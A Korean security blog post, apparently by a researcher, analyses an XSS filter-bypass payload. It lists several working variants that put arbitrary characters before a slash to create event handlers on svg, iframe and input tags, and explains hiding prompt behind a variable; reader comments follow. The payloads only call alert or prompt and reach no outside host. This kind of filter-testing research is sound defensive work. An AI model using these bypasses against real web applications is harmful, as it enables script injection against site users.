<svg </onload ="1> (_=prompt,_(1)) "">
특이한 부분이 2가지가 있는데, 내용 한번 살펴보도록 하겠습니다.
저 순간은 굉장히 신기했지만.. 지금은 조금 허무합니다 =_= |
Event Handler 우회 패턴
기존 svg/onload 구문과 유사하지만, 이벤트 핸들러 필터링을 우회할 수 있고, 구문 필터링 또한 어느정도 제어가 가능합니다.
<svg </onload ="1> (_=prompt,_(1)) "">
첫번째로 눈여겨 봐야할 부분은 </ 로 onload를 이벤트 핸들러로 넘겨준 방법입니다. 처음에는 (_=prompt 구문이랑 조합이 되어서 필터링이 풀리나 생각이 들었는데, 아래와 같이 제외하고 사용하여도 동작합니다.
<svg </onload ="1> alert(45) "">
<svg </onload ="alert(45) ">
뒤쪽 페이로드 부분이랑은 상관이 없다 소리니, 즉 </ 특수문자가 이벤트핸들러로 만들어 줄 수 있다는 의미로 해석됩니다.
<svg ^/onload =" alert(45) ">
<svg &/onload =" alert(45) ">
<svg */onload =" alert(45) ">
<svg %/onload =" alert(45) ">
<svg $/onload =" alert(45) ">
<svg #/onload =" alert(45) ">
<svg @/onload =" alert(45) ">
<svg !/onload =" alert(45) ">
<svg hahwul/onload =" alert(45) ">
<iframe hahwul/src ="javascript:alert(45)">
<iframe hahwul/onmouseover =" alert(45) " scr=z>
<input hahwul/onfocus="alert(45)" autofocus>
모두 alert(45)가 실행됩니다. 즉 태그와 / 사이에 문자가 들어가는 경우 마치 태그와 /가 붙어있는 것 처럼 속성으로 분리되고 정상적이지 않은 이벤트 핸들러 처럼 보이는 동작하는 이벤트 핸들러를 만들 수 있습니다.
다만 모든 태그에서 가능한 것은 아닙니다. 이미지 태그로는 안되네요.
<img hahwul/onerror =" alert(45) " scr=z> <!-- Not Running -->
정리하자면, slash 앞에 문자열이 들어가는 경우 정상적인 이벤트 핸들러로 인지합니다.
자바스크립트 구간 1> (_=prompt,_(1))
두번째 포인트는 Javascript 코드 부분입니다.
1> (_=prompt,_(1))
내용만 보면 1과 (_=prompt,_(1)) 를 비교합니다. 앞부분은 중요하지 않고 핵심이 되는 부분은 (_=prompt,_(1)) 인데요. 구문을 콘솔로 보니...
어? _ 에 function이 들어갔네요. 결국은 _ 라는 변수에 prompt 함수를 넣고 _(1) 형태로 실행한 케이스입니다. 간단한 트릭이지만 코드단 필터링을 푸는데는 도움이 되는 부분이긴합니다.
HAHWULSecurity engineer, Gopher and H4cker! |
두번째 것은 신박하군요. 펑션을 활용하다니.. ㅎㅎ
ReplyDelete자바크스립트가 참 재미있죠.
Delete다른 언어에선 이런식으로 들어가면.. 대체로 함수의 리턴값이 일반적인데..
def ab()
return 1
end
a = ab
=> result: a에 1
자바스크립트는 함수를 값으로 사용할 수 있죠. 그러다보니 저런 재미있는 구문이 나온 것 같아요 :)
눈팅만 하다가 글 남겨요 ㅎㅎ 항상 좋은 글 감사합니다 ~!
ReplyDelete감사합니다 :)
Delete엄청납니다
ReplyDelete어..엄청나진 않습니다.ㅜ
Delete